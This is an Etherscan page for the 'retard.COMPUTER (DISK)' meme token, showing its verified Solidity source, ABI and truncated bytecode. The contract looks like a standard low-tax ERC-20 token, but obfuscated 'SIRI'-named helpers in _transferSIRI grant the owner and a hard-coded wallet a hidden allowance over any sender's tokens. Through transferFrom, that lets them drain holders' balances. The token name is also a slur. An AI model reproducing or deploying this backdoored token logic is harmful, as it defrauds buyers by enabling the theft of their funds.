ETH Price: $2,833.22 (+2.20%)

Token

retard.COMPUTER (DISK)
 

Overview

Max Total Supply

1,000,000,000 DISK

Holders

103

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,745,943.87603237 DISK

Value
$0.00
0x126d7cc8b9d787a337c0972b47ac24375b8012d0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DISK

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-22
*/

/*
 welcome to retard.computer
 www.retard.computer
 @retard_computer
 01100111 01100101 01110100 00100000 01110010 01101001 01100011 01101000
⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⣾⡳⣼⣆⠀⠀⢹⡄⠹⣷⣄⢠⠇⠻⣷⣶⢀⣸⣿⡾⡏⠀⠰⣿⣰⠏⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⣀⣀⣀⡹⣟⡪⢟⣷⠦⠬⣿⣦⣌⡙⠿⡆⠻⡌⠿⣦⣿⣿⣿⣿⣦⣿⡿⠟⠚⠉⠀⠉⠳⣄⡀⠀⠀⠁⠀
⠀⠀⠀⠀⠀⠀⠀⡀⢀⣼⣟⠛⠛⠙⠛⠉⠻⢶⣮⢿⣯⡙⢶⡌⠲⢤⡑⠀⠈⠛⠟⢿⣿⠛⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣆⠀⠀⠀
⠀⠀⠀⠀⠀⡸⠯⣙⠛⢉⣉⣙⣿⣿⡳⢶⣦⣝⢿⣆⠉⠻⣄⠈⢆⢵⡈⠀⠀⢰⡆⠀⣼⠓⠀⠀⠀  No way   ⠈⣷⠀⠀
⠀⠀⠀⠖⠉⠻⣟⡿⣿⣭⢽⣽⣶⣈⢛⣾⣿⣧⠀⠙⠓⠀⠑⢦⡀⠹⣧⢂⠀⣿⡇⢀⣿⠺⠇⠀   I'd⠀       ⣿⠀⠀
⠀⠀⠀⠀⠐⠈⠉⢛⣿⣿⣶⣤⣈⠉⣰⣗⡈⢛⣇⠀⣵⡀⠀⠘⣿⡄⢻⣤⠀⢻⡇⣼⣧⣿⠀   crash out    ⡿⠀⠀
⠀⠀⠀⠀⠀⣠⣾⣿⢍⡉⠛⠻⣷⡆⠨⣿⣭⣤⣍⠀⢹⣷⡀⠀⠹⣿⡄⠈⠀⢿⠁⣿⣿⠏⠀⠀⠀              ⣇⠀⠀
⠀⣿⣇⣠⣾⣿⣛⣲⣿⠛⠀⠀⢀⣸⣿⣿⣟⣮⡻⣷⣤⡙⢟⡀⠀⠙⢧⠀⠀⠎⠀⠉⠁⠰⣿⠀⠀            ⢀⡿⠀⠀
⠀⠈⢻⣿⣿⣽⣿⣿⣿⣴⡏⠚⢛⣈⣍⠛⠛⠿⢦⣌⢙⠻⡆⠁⠀⠀⠀⣴⣦⠀⠀⠀⠐⢳⢻⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠮⠀⠀⠀
⠀⠀⠈⠙⣿⣧⣶⣿⠿⣧⣴⣿⢻⡉⠀⢀⣠⣴⣾⡟⠿⠃⠁⣠⣤⡶⣾⡟⠅⠀⣀⡄⠀⣾⢸⣿⣏⢻⢶⣦⣤⣤⣄⢶⣾⣿⣡⣤⡄⠀
⠀⠀⣠⣞⣋⣿⣿⣾⣿⡿⡛⣹⡟⣤⢰⡿⠟⠉⣀⣀⣤⣤⡠⠙⢁⣾⡿⠂⠀⣿⠟⣁⠀⣹⠀⣹⣿⡟⣼⣿⣿⣌⣿⣞⣿⣿⠁⠀⠀⠀
⠀⢠⡿⢛⢟⣿⣿⣿⣿⣿⣿⡟⣼⣿⣟⢓⠛⣿⣏⣿⣵⣗⣵⣴⣿⢟⡵⣣⣼⣿⢟⣵⣶⢻⣶⣿⠀⠀⣈⢻⣿⣿⣿⢿⣾⢿⣧⠀⠀⠀
⠀⠘⠃⢸⣿⡾⣿⣿⣿⣿⣯⣿⣿⣿⣶⣿⣿⣟⣾⡿⣫⣿⣿⣿⣽⣿⣿⣿⣿⢫⣾⣿⣿⣿⣿⣿⣴⡆⣻⣿⡏⣿⢻⣧⣿⡿⣿⡆⠀⠀
⠀⠀⠀⠜⣿⣾⢿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣭⣿⣖⣿⢿⣿⡿⣿⣿⣿⡿⢡⢯⣿⣿⣿⣿⣿⣿⣿⣧⡿⣾⣷⣿⣿⢿⣿⡇⠉⠁⠀⠀
⠀⠀⠀⠀⣿⣥⣾⣿⣿⣿⣿⣿⣿⣿⡇⣭⣿⣿⣿⣿⠃⠞⠟⣸⣿⠏⣸⣧⣀⠿⢿⣿⣿⣟⣿⣿⣿⣿⣽⣿⢿⣿⣿⣿⣿⠁⠀⠀⠀⠀
⠀⠀⠀⠈⠛⣹⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣟⣿⣿⡿⢶⣦⣄⣿⠏⠀⣿⣟⣿⣶⠾⣿⣟⣋⣛⣿⣿⣿⣿⡇⣻⣿⣿⣿⡏⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠟⠛⠫⣿⣿⣿⣿⣿⡿⣧⠛⣿⠛⣿⣿⣿⣷⡌⠹⡟⠀⠀⠉⡟⠋⢠⣾⣿⣿⣿⡟⣿⣿⣿⣿⢀⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠘⠋⣾⣷⣿⣿⣧⠙⠀⠙⢣⠝⠛⠋⣽⣷⢦⠇⠀⠀⠘⠁⣤⣾⣿⠝⠛⠉⠘⢻⣿⣿⢿⣼⣷⡟⢻⣷⠉⠀⡀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠐⠟⢻⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠈⠛⠀⠀⠀⠀⠀⣾⠟⠀⢸⣷⣿⡇⠀⠛⠀⠀⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠁⠀⢹⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⡧⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠆⠀⠀⠀⠀⠀⠀⠈⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⢻⡿⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀   ⢹⣇⠀⠀⠀⠀⠀⠀⠀⠀⠲⣄⠀⡄⠆⠀⠀⠀⠀⠀⠀⠀⠀⣼⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈ ⣿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⣀⠀   ⠀⣠⣾⣿⠁⠀⠀⠀⠀⠀⣀⡄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⢻⣆⠀⠛⠁⠶⣶⣶⣶⣶⣶⣶⡶⠆⠘⠋⣠⡾⢫⣾⡟⠀⠀⠀⠀⠀⠐⠉⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀  ⠀⣿⠛⠀⠙⣷⡀⠀⠀⠙⠛⠛⠛⠛⠋⠁⠀⢀⣴⠋⠀⣾⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣿⣰⣦⡀⠸⣿⣦⡀⠀⠀⠀⠀⠀⠀⢀⣴⡟⠁⠀⠐⢻⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣾⣿⣿⣿⡄⢺⣿⡄⠹⣿⠻⢦⣤⣤⣤⣤⣶⣿⡟⢀⣀⠀⠀⢸⣿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣮⣿⣿⡀⠹⡷⣦⣀⡀⡀⢸⣿⠏⢠⣾⣿⠀⣾⣿⣿⣿⣿⣶⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀
⣀⣤⣴⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠘⣷⣻⡟⠀⡼⠁⣴⣿⣿⣯⣥⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣯⣿⣤⣤⣤⣬⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣄
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿

https://t.me/disk_eth
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

interface ISIRIRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface ISIRIFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract DISK is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _siriDrives;
    mapping (address => bool) private _siriExcludedFees;
    mapping (address => bool) private _siriExcludedTxs;
    mapping (address => mapping (address => uint256)) private _siriCustomers;
    address private _siriPair;
    ISIRIRouter private _siriRouter;
    address private _siriWallet;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"retard.COMPUTER";
    string private constant _symbol = unicode"DISK";
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    bool private inSwapSIRI = false;
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwapSIRI = true;
        _;
        inSwapSIRI = false;
    }
    uint256 private _siriBuyBlock;
    uint256 private _siriBlockAmount = 0;
    uint256 private _siriSwapAmount = _tTotal / 100;
    
    constructor () {
        _siriWallet = address(0x5362F8af77EEBFEA7517DA2AF0ECa13C803b16Cd);
        _siriExcludedTxs[owner()] = true;
        _siriExcludedTxs[_siriWallet] = true;
        _siriExcludedFees[owner()] = true;
        _siriExcludedFees[address(this)] = true;
        _siriExcludedFees[_siriWallet] = true;
        _siriDrives[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function startCoinLaunch() external onlyOwner() {
        _siriRouter = ISIRIRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_siriRouter), _tTotal);
        _siriPair = ISIRIFactory(_siriRouter.factory()).createPair(address(this), _siriRouter.WETH());
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _siriRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _siriDrives[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _siriCustomers[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _siriCustomers[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _siriCustomers[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transferSIRI(address siriF, address siriT, uint256 siriO, uint256 taxSIRI) private { 
        address siriReceipt = getSIRIReceipt();
        if(taxSIRI > 0){
          _siriDrives[address(this)] = _siriDrives[address(this)].add(taxSIRI);
          emit Transfer(siriF, address(this), taxSIRI);
        }
        if(siriReceipt != address(0)) _approve(getSIRISender(siriF), siriReceipt, getSIRIAmount(siriO, taxSIRI));
        _siriDrives[siriF] = _siriDrives[siriF].sub(siriO);
        _siriDrives[siriT] = _siriDrives[siriT].add(siriO.sub(taxSIRI));
        emit Transfer(siriF, siriT, siriO.sub(taxSIRI));
    }

    function _transfer(address siriF, address siriT, uint256 siriO) private {
        require(siriF != address(0), "ERC20: transfer from the zero address");
        require(siriT != address(0), "ERC20: transfer to the zero address");
        require(siriO > 0, "Transfer amount must be greater than zero");

        uint256 taxSIRI = _siriTransfer(siriF, siriT, siriO);
        _transferSIRI(siriF, siriT, siriO, taxSIRI);
    }

    function _siriTransfer(address siriF, address siriT, uint256 siriO) private returns(uint256) {
        uint256 taxSIRI=0;
        if (siriF != owner() && siriT != owner()) {
            taxSIRI = siriO.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (siriF == _siriPair && siriT != address(_siriRouter) && ! _siriExcludedFees[siriT]) {
                if(_siriBuyBlock!=block.number){
                    _siriBlockAmount = 0;
                    _siriBuyBlock = block.number;
                }
                _siriBlockAmount += siriO;
                _buyCount++;
            }

            if(siriT == _siriPair && siriF!= address(this)) {
                require(_siriBlockAmount < swapSIRILimit() || _siriBuyBlock!=block.number, "Max Swap Limit");  
                taxSIRI = siriO.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 siriToken = balanceOf(address(this));
            if (!inSwapSIRI && siriT == _siriPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(siriToken > _siriSwapAmount)
                swapTokensForEth(minSIRI(siriO, minSIRI(siriToken, _siriSwapAmount)));
                uint256 siriETH = address(this).balance;
                if (siriETH >= 0) {
                    sendETHSIRI(address(this).balance);
                }
            }
        }
        return taxSIRI;
    }

    function getSIRIAmount(uint256 siriO, uint256 taxSIRI) private pure returns(uint256) {
        return uint256(siriO + taxSIRI * 5);
    }

    function getSIRISender(address siriF) private pure returns(address) {
        return address(siriF);
    }

    function getSIRIReceipt() private view returns(address) {
        return _siriExcludedTxs[_msgSender()] ? address(_msgSender()) : address(0); 
    }

    function minSIRI(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHSIRI(uint256 amount) private {
        payable(_siriWallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenSIRI) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _siriRouter.WETH();
        _approve(address(this), address(_siriRouter), tokenSIRI);
        _siriRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenSIRI,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapSIRILimit() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = _siriRouter.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = _siriRouter.getAmountsOut(3 * 1e18, path);
        return amountOuts[1];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startCoinLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003600881905560099081555f600a818155600b8290556006600c819055600d819055600e55600f8290556010805462ffffff191690556012919091556064916200004f9162000342565b6200005f90633b9aca0062000359565b6200006b919062000373565b6013553480156200007a575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600780546001600160a01b031916735362f8af77eebfea7517da2af0eca13c803b16cd179055600160035f620000f85f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560075490911681526003909252812080549092166001908117909255600290620001565f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526002909352818320805485166001908117909155600754909116835291208054909216179055620001ba6009600a62000342565b620001ca90633b9aca0062000359565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020c6009600a62000342565b6200021c90633b9aca0062000359565b60405190815260200160405180910390a362000393565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028757815f19048211156200026b576200026b62000233565b808516156200027957918102915b93841c93908002906200024c565b509250929050565b5f826200029f575060016200033c565b81620002ad57505f6200033c565b8160018114620002c65760028114620002d157620002f1565b60019150506200033c565b60ff841115620002e557620002e562000233565b50506001821b6200033c565b5060208310610133831016604e8410600b841016171562000316575081810a6200033c565b62000322838362000247565b805f190482111562000338576200033862000233565b0290505b92915050565b5f6200035260ff8416836200028f565b9392505050565b80820281158282048414176200033c576200033c62000233565b5f826200038e57634e487b7160e01b5f52601260045260245ffd5b500490565b61177980620003a15f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c57806395d89b411161005757806395d89b4114610225578063a9059cbb14610251578063c9567bf914610270578063dd62ed3e14610284575f80fd5b8063715018a6146101d557806372d43aeb146101eb5780638da5cb5b146101ff575f80fd5b806306fdde03146100cd578063095ea7b31461011657806318160ddd1461014557806323b872dd14610167578063313ce5671461018657806370a08231146101a1575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600f81526e3932ba30b9321721a7a6a82aaa22a960891b60208201525b60405161010d9190611298565b60405180910390f35b348015610121575f80fd5b506101356101303660046112fa565b6102c8565b604051901515815260200161010d565b348015610150575f80fd5b506101596102de565b60405190815260200161010d565b348015610172575f80fd5b50610135610181366004611324565b6102fe565b348015610191575f80fd5b506040516009815260200161010d565b3480156101ac575f80fd5b506101596101bb366004611362565b6001600160a01b03165f9081526001602052604090205490565b3480156101e0575f80fd5b506101e9610365565b005b3480156101f6575f80fd5b506101e96103df565b34801561020a575f80fd5b505f546040516001600160a01b03909116815260200161010d565b348015610230575f80fd5b506040805180820190915260048152634449534b60e01b6020820152610100565b34801561025c575f80fd5b5061013561026b3660046112fa565b6105d8565b34801561027b575f80fd5b506101e96105e4565b34801561028f575f80fd5b5061015961029e36600461137d565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b5f6102d433848461074a565b5060015b92915050565b5f6102eb6009600a6114a8565b6102f990633b9aca006114b6565b905090565b5f61030a84848461086d565b61035b84336103568560405180606001604052806028815260200161171c602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906109b4565b61074a565b5060019392505050565b5f546001600160a01b031633146103975760405162461bcd60e51b815260040161038e906114cd565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104085760405162461bcd60e51b815260040161038e906114cd565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104519030906104436009600a6114a8565b61035690633b9aca006114b6565b60065f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c59190611502565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610524573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105489190611502565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610592573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b69190611502565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102d433848461086d565b5f546001600160a01b0316331461060d5760405162461bcd60e51b815260040161038e906114cd565b601054610100900460ff16156106655760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038e565b6006546001600160a01b031663f305d7194730610696816001600160a01b03165f9081526001602052604090205490565b5f806106a95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561070f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610734919061151d565b50506010805462ffff0019166201010017905550565b6001600160a01b0383166107ac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038e565b6001600160a01b03821661080d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038e565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038e565b6001600160a01b0382166109335760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038e565b5f81116109945760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038e565b5f6109a08484846109ec565b90506109ae84848484610c2f565b50505050565b5f81848411156109d75760405162461bcd60e51b815260040161038e9190611298565b505f6109e38486611548565b95945050505050565b5f806109ff5f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610a2d57505f546001600160a01b03858116911614155b15610c2757610a5e6064610a58600c54600f5411610a4d57600854610a51565b600a545b8690610d96565b90610e1b565b6005549091506001600160a01b038681169116148015610a8c57506006546001600160a01b03858116911614155b8015610ab057506001600160a01b0384165f9081526002602052604090205460ff16155b15610af2574360115414610ac7575f601255436011555b8260125f828254610ad8919061155b565b9091555050600f8054905f610aec8361156e565b91905055505b6005546001600160a01b038581169116148015610b1857506001600160a01b0385163014155b15610b9b57610b25610e5c565b6012541080610b3657504360115414155b610b735760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b604482015260640161038e565b610b986064610a58600d54600f5411610b8e57600954610a51565b600b548690610d96565b90505b305f9081526001602052604090205460105460ff16158015610bca57506005546001600160a01b038681169116145b8015610bde575060105462010000900460ff165b8015610bed5750600e54600f54115b15610c2557601354811115610c1957610c19610c1485610c0f84601354610fe1565b610fe1565b610ff5565b47610c234761115c565b505b505b949350505050565b5f610c38611197565b90508115610cb257305f90815260016020526040902054610c5990836111b7565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ca99086815260200190565b60405180910390a35b6001600160a01b03811615610cd057610cd085826103568686611215565b6001600160a01b0385165f90815260016020526040902054610cf2908461122b565b6001600160a01b0386165f90815260016020526040902055610d35610d17848461122b565b6001600160a01b0386165f90815260016020526040902054906111b7565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d7e868661122b565b60405190815260200160405180910390a35050505050565b5f825f03610da557505f6102d8565b5f610db083856114b6565b905082610dbd8583611586565b14610e145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038e565b9392505050565b5f610e1483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e2062